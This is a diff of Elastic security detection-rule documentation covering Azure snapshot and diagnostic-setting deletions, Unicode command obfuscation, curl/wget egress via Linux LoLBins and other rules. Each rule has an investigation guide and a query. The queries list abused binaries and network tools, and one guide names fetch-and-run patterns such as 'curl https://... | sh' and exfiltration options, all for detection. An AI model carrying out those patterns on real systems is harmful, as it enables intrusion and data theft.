+Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity.
+
+*Rule type*: threshold
+
+*Rule indices*: 
+
+* logs-azure.activitylogs-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/
+
+*Tags*: 
+
+* Domain: Cloud
+* Domain: Storage
+* Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Azure Compute Snapshot Deletions by User*
+
+
+Azure disk snapshots are critical backup and recovery resources that enable organizations to restore data and investigate security incidents. Mass deletion of snapshots is a highly suspicious activity commonly associated with ransomware preparation, evidence destruction, or sabotage operations. Adversaries frequently target snapshots to prevent victims from recovering data without paying ransom or to eliminate forensic evidence of their activities. This detection identifies when a single identity deletes multiple snapshots in a short timeframe, which is rarely performed by legitimate administrators except during controlled maintenance activities.
+
+
+*Possible investigation steps*
+
+
+- Review the Azure activity logs to identify the user or service principal that initiated the multiple snapshot deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`.
+- Check the specific snapshot names in `azure.resource.name` to understand which backups were deleted and assess the overall impact on recovery capabilities.
+- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction.
+- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise.
+- Verify if the snapshot deletions align with approved change requests, maintenance windows, or data retention policies in your organization.
+- Check if other backup-related resources (backup vaults, recovery services, additional snapshots) were also accessed or modified by the same principal.
+- Review any related alerts or activities such as VM encryption, disk modifications, or unusual data access that occurred before the deletions.
+- Investigate if other Azure resources (VMs, disks, storage accounts) were also deleted or modified by the same principal.
+- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session.
+- Determine if any remaining snapshots or alternative backups exist for the affected resources.
+
+
+*False positive analysis*
+
+
+- Legitimate bulk cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and coordinate with infrastructure teams to create exceptions during planned maintenance windows.
+- Infrastructure-as-Code (IaC) automation tools or backup management solutions may delete multiple expired snapshots. Identify service principals used by backup retention tools and consider creating exceptions for these identities when following documented retention schedules.
+- Cost optimization initiatives may involve bulk deletion of old or redundant snapshots. Coordinate with finance and infrastructure teams to understand planned optimization activities and schedule them during documented maintenance windows.
+- Disaster recovery testing or environment teardown may involve deletion of multiple test snapshots. Work with business continuity and DevOps teams to identify these patterns and create time-based exceptions during testing periods.
+- Storage migration or consolidation projects may require deletion of old snapshots. Coordinate with infrastructure teams to understand planned migration activities and create exceptions during documented project timelines.
+
+
+*Response and remediation*
+
+
+- Immediately investigate whether the deletions were authorized by verifying with backup administrators, infrastructure teams, or relevant stakeholders.
+- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage.
+- Check if any snapshots can be recovered through Azure backup services, soft-delete capabilities, or alternative backup mechanisms.
+- Create new snapshots of all critical disks immediately to establish new restore points if the deleted snapshots were part of your backup strategy.
+- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities and remove excessive permissions.
+- Conduct a full security assessment to identify the initial access vector, any other compromised accounts, and potential lateral movement.
+- Implement Azure Resource Locks on all critical snapshots and backup resources to prevent accidental or malicious deletion.
+- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators and require approval workflows for deletion operations.
+- Enable Azure Activity Log alerts and configure notifications to security teams immediately when snapshots are deleted.
+- Review and enhance backup strategies to ensure redundant backup mechanisms exist beyond Azure snapshots, including geo-redundant backups and offline copies.
+- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential ransomware preparation or broader compromise.
+- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: azure.activitylogs and
+    azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and
+    azure.activitylogs.properties.status_code: "Accepted" and
+    azure.activitylogs.identity.claims_initiated_by_user.name: *
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Technique:
+** Name: Inhibit System Recovery
+** ID: T1490
+** Reference URL: https://attack.mitre.org/techniques/T1490/
diff --git a/docs/detections/prebuilt-rules/rule-details/azure-diagnostic-settings-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/azure-diagnostic-settings-deletion.asciidoc
index fadc8e3a1f..997ad21316 100644
--- a/docs/detections/prebuilt-rules/rule-details/azure-diagnostic-settings-deletion.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/azure-diagnostic-settings-deletion.asciidoc
@@ -3,7 +3,7 @@
 
 Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses.
 
-*Rule type*: query
+*Rule type*: new_terms
 
 *Rule indices*: 
 
@@ -23,15 +23,18 @@ Identifies the deletion of diagnostic settings in Azure, which send platform log
 *References*: 
 
 * https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings
+* https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/
 
 *Tags*: 
 
 * Domain: Cloud
 * Data Source: Azure
+* Data Source: Azure Activity Logs
+* Use Case: Threat Detection
 * Tactic: Defense Evasion
 * Resources: Investigation Guide
 
-*Version*: 106
+*Version*: 107
 
 *Rule authors*: 
 
@@ -47,9 +50,6 @@ Identifies the deletion of diagnostic settings in Azure, which send platform log
 *Triage and analysis*
 
 
-> **Disclaimer**:
-> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
-
 
 *Investigating Azure Diagnostic Settings Deletion*
 
@@ -60,8 +60,9 @@ Azure Diagnostic Settings are crucial for monitoring and logging platform activi
 *Possible investigation steps*
 
 
-- Review the Azure activity logs to confirm the deletion event by filtering for the operation name "MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE" and ensuring the event outcome is marked as Success.
 - Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs.
+- If this is a service principal, determine which application is associated with it and examine credential use with authentication sources to identify potential compromise.
+- Examine the resource group and subscription context to understand the scope of the deletion and whether it affects critical resources.
 - Check the timestamp of the deletion event to determine when the diagnostic settings were removed and correlate this with other security events or alerts around the same time.
 - Investigate the affected resources by identifying which diagnostic settings were deleted and assess the potential impact on monitoring and logging capabilities.
 - Review any recent changes or activities performed by the identified user or service principal to determine if there are other suspicious actions that might indicate malicious intent.
@@ -71,7 +72,7 @@ Azure Diagnostic Settings are crucial for monitoring and logging platform activi
 *False positive analysis*
 
 
-- Routine maintenance activities by authorized personnel may trigger the rule. Ensure that maintenance schedules are documented and align with the detected events.
+- Examine the service principal or user account involved in the deletion to determine if it is part of an automated process or legitimate administrative activity.
 - Automated scripts or tools used for managing Azure resources might delete diagnostic settings as part of their operation. Review and whitelist these scripts if they are verified as non-threatening.
 - Changes in organizational policy or compliance requirements could lead to legitimate deletions. Confirm with relevant teams if such policy changes are in effect.
 - Test environments often undergo frequent configuration changes, including the deletion of diagnostic settings. Consider excluding these environments from the rule or adjusting the rule to account for their unique behavior.
@@ -82,24 +83,22 @@ Azure Diagnostic Settings are crucial for monitoring and logging platform activi
 
 
 - Immediately isolate affected Azure resources to prevent further unauthorized changes or deletions. This may involve temporarily restricting access to the affected subscriptions or resource groups.
-- Review the Azure activity logs to identify the source of the deletion request, including the user account and IP address involved. This will help determine if the action was authorized or malicious.
+- Review the Azure activity logs to identify the source of the deletion request, including the user account, service principal and IP address involved. This will help determine if the action was authorized or malicious.
 - Recreate the deleted diagnostic settings as soon as possible to restore logging and monitoring capabilities. Ensure that logs are being sent to secure and appropriate destinations.
-- Conduct a thorough investigation of the user account involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege.
+- Conduct a thorough investigation of the user account or service principal involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege.
 - Escalate the incident to the security operations team for further analysis and to determine if additional resources or expertise are needed to address the threat.
 - Implement additional monitoring and alerting for similar deletion activities to ensure rapid detection and response to future attempts.
 - Review and update access controls and policies related to diagnostic settings to prevent unauthorized deletions, ensuring that only trusted and necessary personnel have the ability to modify these settings.
 
-==== Setup
-
-
-The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE" and event.outcome:(Success or success)
+event.dataset:azure.activitylogs
+    and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE"
+    and event.outcome:(Success or success)
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/command-obfuscation-via-unicode-modifier-letters.asciidoc b/docs/detections/prebuilt-rules/rule-details/command-obfuscation-via-unicode-modifier-letters.asciidoc
new file mode 100644
index 0000000000..4661b84600
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/command-obfuscation-via-unicode-modifier-letters.asciidoc
@@ -0,0 +1,129 @@
+[[command-obfuscation-via-unicode-modifier-letters]]
+=== Command Obfuscation via Unicode Modifier Letters
+
+Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* endgame-*
+* logs-crowdstrike.fdr*
+* logs-endpoint.events.process-*
+* logs-m365_defender.event-*
+* logs-sentinel_one_cloud_funnel.*
+* logs-system.security*
+* logs-windows.forwarded*
+* logs-windows.sysmon_operational-*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Data Source: Elastic Endgame
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Data Source: Windows Security Event Logs
+* Data Source: Microsoft Defender for Endpoint
+* Data Source: Sysmon
+* Data Source: SentinelOne
+* Data Source: Crowdstrike
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Command Obfuscation via Unicode Modifier Letters*
+
+
+Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.
+
+
+*Possible investigation steps*
+
+
+- Review the process execution details (command_line, parent, code signature, hash).
+- Analyze the full execution process tree to identify the root cause.
+- Check the creation of any persistence using scheduled tasks, Run key, services, shortcuts or startup folders.
+- Cross-reference with other logs or alerts to identify any related incidents or patterns of activity that might indicate a larger threat campaign.
+
+
+*False positive analysis*
+
+
+- Legitimate internationalized applications and installers use Unicode (e.g., localized product names, non-Latin scripts).
+- Dev tools or fonts may create commands with combining marks (rare) — check installer/tool provenance.
+- Command lines that include user input, file names, or paths with non-ASCII characters (e.g., user folders) can trigger the rule.
+
+
+*Response and remediation*
+
+
+- Isolate the host if there are signs of active compromise (outbound C2, credential theft, lateral movement).
+- Terminate the suspicious process and any direct descendants after collecting forensic evidence (memory, artifacts).
+- Collect EDR snapshots, full disk image or targeted file copies, registry hives, and network logs for investigation.
+- Remove any persistence entries (scheduled task, startup, services) tied to the activity.
+- Qurantine and submit samples to malware analysis; if confirmed malicious, remove and restore from known good backups.
+- Block and update indicators related to this activity (hashes, exact normalized command patterns, codepoint sequences, IPs/domains).
+- Run global hutning queries for same Unicode patterns, normalized variants, and identical parent/child process chains.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+process where host.os.type == "windows" and event.type == "start" and
+ (
+   process.name : ("reg.exe", "net.exe", "net1.exe", "certutil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump.exe", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe") or
+   ?process.pe.original_file_name in ("reg.exe", "net.exe", "net1.exe", "CertUtil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe")
+ ) and
+ process.command_line regex """.*[ʰ-˿ᴬ-ᶻ]+.*"""
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Obfuscated Files or Information
+** ID: T1027
+** Reference URL: https://attack.mitre.org/techniques/T1027/
+* Sub-technique:
+** Name: Command Obfuscation
+** ID: T1027.010
+** Reference URL: https://attack.mitre.org/techniques/T1027/010/
diff --git a/docs/detections/prebuilt-rules/rule-details/curl-or-wget-egress-network-connection-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/rule-details/curl-or-wget-egress-network-connection-via-lolbin.asciidoc
new file mode 100644
index 0000000000..3e20760b2e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/curl-or-wget-egress-network-connection-via-lolbin.asciidoc
@@ -0,0 +1,214 @@
+[[curl-or-wget-egress-network-connection-via-lolbin]]
+=== Curl or Wget Egress Network Connection via LoLBin
+
+This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.process*
+* logs-endpoint.events.network*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://gtfobins.github.io/#+shell
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Tactic: Execution
+* Tactic: Command and Control
+* Tactic: Exfiltration
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Curl or Wget Egress Network Connection via LoLBin*
+
+
+This detects outbound connections from curl or wget when they are launched via living-off-the-land binaries that can execute shell commands, signaling proxy execution to mask activity. It matters because attackers abuse trusted utilities to fetch payloads, stage command-and-control, or exfiltrate while evading simple controls. Example: an attacker uses awk or busybox to run curl to an external host, downloads a script into /tmp, pipes it to sh, or saves a binary and runs it under the proxy’s context.
+
+
+*Possible investigation steps*
+
+
+- Pull the full process tree around the event and review the parent LoLBin’s command line for signs of proxy execution such as pipelines to a shell, write-to-file flags (-o/-O), exfil options (--data/--upload-file), or TLS bypass (-k), noting working directory and effective user for context.
+- Identify any paths or filenames used by the transfer and inspect the filesystem for newly created or modified artifacts in temp locations, recording hashes, timestamps, permission changes (e.g., chmod +x), and any immediate execution or persistence actions.
+- Correlate the outbound destination with threat intelligence and internal allowlists, examine DNS/SNI/certificate details, and flag unusual ports or use of proxies/TOR that suggest evasion.
+- Validate whether the parent LoLBin and its execution path align with legitimate software or maintenance workflows on the host, and broaden the search for similar executions across hosts within the same timeframe.
+- Hunt for follow-on activity including new listeners, reverse shells, additional outbound beacons, or other GTFOBins invoking curl/wget, and tie findings back to the same domains/IPs or dropped filesystem artifacts.
+
+
+*False positive analysis*
+
+
+- During legitimate dependency installation or build workflows, pip/npm/gem/bundler/yarn may run post-install hooks that invoke curl/wget to fetch supplemental files from public mirrors, with the package manager as the parent process.
+- Operations or maintenance tasks may use watch/busybox/run-parts/awk to proxy execution of curl/wget for external availability checks or bootstrap downloads in init scripts, producing short-lived egress that matches the LoLBin-parent pattern.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected Linux host or apply an outbound block, terminate active curl/wget and their invoking LoLBins (e.g., awk, busybox, run-parts), and add temporary firewall/DNS rules to deny the contacted domain/IP and port.
+- Enumerate and delete files fetched via curl/wget (-o/-O) in /tmp, /var/tmp, /dev/shm, and user home (including scripts piped to sh), remove any persistence added (new cron entries, systemd units, rc.local edits), and record hashes/paths for evidence.
+- Rotate credentials or tokens exposed via -u/--header or ~/.netrc, purge malicious proxy settings and config files (http_proxy/https_proxy environment, ~/.wgetrc, ~/.curlrc), and revoke SSH keys or cookies discovered alongside the downloads.
+- Restore the system by reimaging or reinstalling if tampering is suspected, re-enable egress only after validation, verify application functionality, and re-enroll the endpoint with EDR while limiting curl/wget usage to approved service accounts.
+- Escalate to incident response if curl/wget is piped to a shell (e.g., curl https://... | sh), a downloaded binary is made executable and run (chmod +x followed by execution), the destination matches known malicious infrastructure, or torify/torsocks/proxy chaining is used.
+- Harden by mounting /tmp, /var/tmp, and /dev/shm with noexec/nosuid/nodev, enforcing AppArmor/SELinux to restrict curl/wget network access and file writes, constraining GTFOBins from spawning shells, and requiring egress via a proxy allowlist with TLS validation (disallow --insecure/-k).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from Elastic Defend.
+
+
+*Elastic Defend Integration Setup*
+
+Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
+
+
+*Prerequisite Requirements:*
+
+- Fleet is required for Elastic Defend.
+- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation].
+
+
+*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:*
+
+- Go to the Kibana home page and click "Add integrations".
+- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
+- Click "Add Elastic Defend".
+- Configure the integration name and optionally add a description.
+- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide].
+- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
+- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
+For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide].
+- Click "Save and Continue".
+- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence with maxspan=3s
+  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in (
+     "aa-exec", "aoss", "awk", "run-parts", "bundle", "bundler", "busctl", "busybox", "byebug", "c89", "c99", "cabal",
+     "capsh", "cdist", "certbot", "check_by_ssh", "choom", "cobc", "cowsay", "cowthink", "cpio", "cpulimit", "csvtool",
+     "dc", "distcc", "easy_install", "emacs", "enscript", "expect", "find", "flock", "gawk", "gcc", "gdb", "gem",
+     "genie", "ghc", "ghci", "gimp", "grc", "gtester", "ionice", "irb", "jjs", "jrunscript", "knife", "latex",
+     "latexmk", "lftp", "logsave", "ltrace", "mail", "mawk", "msgfilter", "multitime", "mysql", "nawk", "neofetch",
+     "nice", "nohup", "npm", "nroff", "nsenter", "octave", "openvpn", "pandoc", "pdb", "pdflatex", "pdftex", "perf",
+     "pexec", "pip", "rake", "rc", "rlwrap", "rpmdb", "rpmquery", "rpmverify", "rsync", "rtorrent", "runscript",
+     "rview", "rvim", "script", "scrot", "sed", "service", "setarch", "setlock", "sg", "socat", "softlimit", "split",
+     "sqlite3", "sqlmap", "sshpass", "start-stop-daemon", "stdbuf", "tar", "taskset",
+     "tasksh", "tex", "time", "tmate", "torify", "torsocks", "tshark", "valgrind", "vi", "view",
+     "vim", "vimdiff", "watch", "xdg-user-dir", "xdotool", "xelatex", "xetex", "yarn", "zip", "zypper"
+   ) and not (
+     process.executable == "/tmp/newroot/unshare" or
+     process.parent.args in (
+       "/etc/.agent/server_agent.sh", "/nessus/update2.sh", "/etc/cron.daily/spamassassin", "/etc/cron.daily/rkhunter",
+       "buildkit-runc", "/usr/sbin/spamassassin-maint"
+     ) or
+     process.parent.executable like (
+       "/usr/local/bin/fail2ban_cluster.sh", "/script/downloadArtifacts.sh", "/etc/cron.daily/rkhunter",
+       "/usr/bin/bbb-conf", "/usr/sbin/sos", "/usr/bin/make", "/var/lib/amagent/*", "/etc/cron.daily/spamassassin",
+       "/usr/lib/cron/run-crons", "/usr/sbin/spamassassin-maint", "/usr/sbin/oracle-libs-update"
+     ) or
+     process.parent.name in ("rkhunter", "vivaldi-stable.postinst", "runc") or
+     process.parent.command_line == "runc init" or
+     process.parent.command_line like "/home/*/bin/DownloadExchangeFiles_mcx*" or
+     process.command_line in (
+       "nice -10 /opt/aws/discovery/update", "xargs -n 1 curl -o lpsc -L", "/usr/bin/ruby /usr/bin/rake run:server_hooks",
+       "nohup ./update2.sh"
+     ) or
+     process.parent.command_line in ("/bin/sh -c nice -n 15 $HOME/bin/cron.pl > /dev/null 2>&1", "/bin/sh /etc/cron.daily/rkhunter") or
+     process.command_line like ("*/home/linuxbrew/.linuxbrew/*", "*Homebrew*", "*webhook*") or
+     process.args like ("/usr/lib/jvm/*", "/root/.forge/provision-*.sh", "/usr/src/ucrm/scripts/update-certificates.sh", "/etc/periodic/weekly/update_mmdb.sh") or
+     (process.name == "nohup" and process.command_line like "nohup /usr/*/*.sh") or
+     (process.name == "julia" and process.parent.name == "julia")
+   )
+  ] by process.entity_id
+  [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and
+   process.name in ("wget", "curl") and not (
+     destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
+       destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
+       "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
+       "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
+       "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
+       "FF00::/8"
+     )
+   )
+  ] by process.parent.entity_id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: System Binary Proxy Execution
+** ID: T1218
+** Reference URL: https://attack.mitre.org/techniques/T1218/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Tactic:
+** Name: Exfiltration
+** ID: TA0010
+** Reference URL: https://attack.mitre.org/tactics/TA0010/
diff --git a/docs/detections/prebuilt-rules/rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
index 7a6d0b3457..1f314b8265 100644
--- a/docs/detections/prebuilt-rules/rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
@@ -36,7 +36,7 @@ Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a de
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -86,7 +86,7 @@ Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a de
 
 [source, js]
 ----------------------------------
-event.code:5136 and winlog.event_data.AttributeLDAPDisplayName:"msDS-ManagedAccountPrecededByLink"
+event.code:5136 and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-ManagedAccountPrecededByLink"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-created.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-created.asciidoc
new file mode 100644
index 0000000000..7a3c6945e5
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-created.asciidoc
@@ -0,0 +1,121 @@
+[[deprecated-aws-elasticache-security-group-created]]
+=== Deprecated - AWS ElastiCache Security Group Created
+
+Identifies when an ElastiCache security group has been created. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/API_CreateCacheSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS ElastiCache Security Group Created*
+
+
+AWS ElastiCache security groups control access to cache clusters, ensuring only authorized traffic can interact with them. Adversaries might create new security groups to bypass existing restrictions, facilitating unauthorized access or data exfiltration. The detection rule monitors for successful creation events of these groups, signaling potential defense evasion tactics by identifying unusual or unauthorized configurations.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.action "Create Cache Security Group" to identify the user or role that initiated the creation of the ElastiCache security group.
+- Examine the event.provider field to confirm that the event is associated with elasticache.amazonaws.com, ensuring the alert is relevant to ElastiCache services.
+- Check the event.outcome field to verify that the security group creation was successful, confirming the alert's validity.
+- Investigate the IAM permissions and roles associated with the user or entity that created the security group to determine if they have legitimate access and reasons for this action.
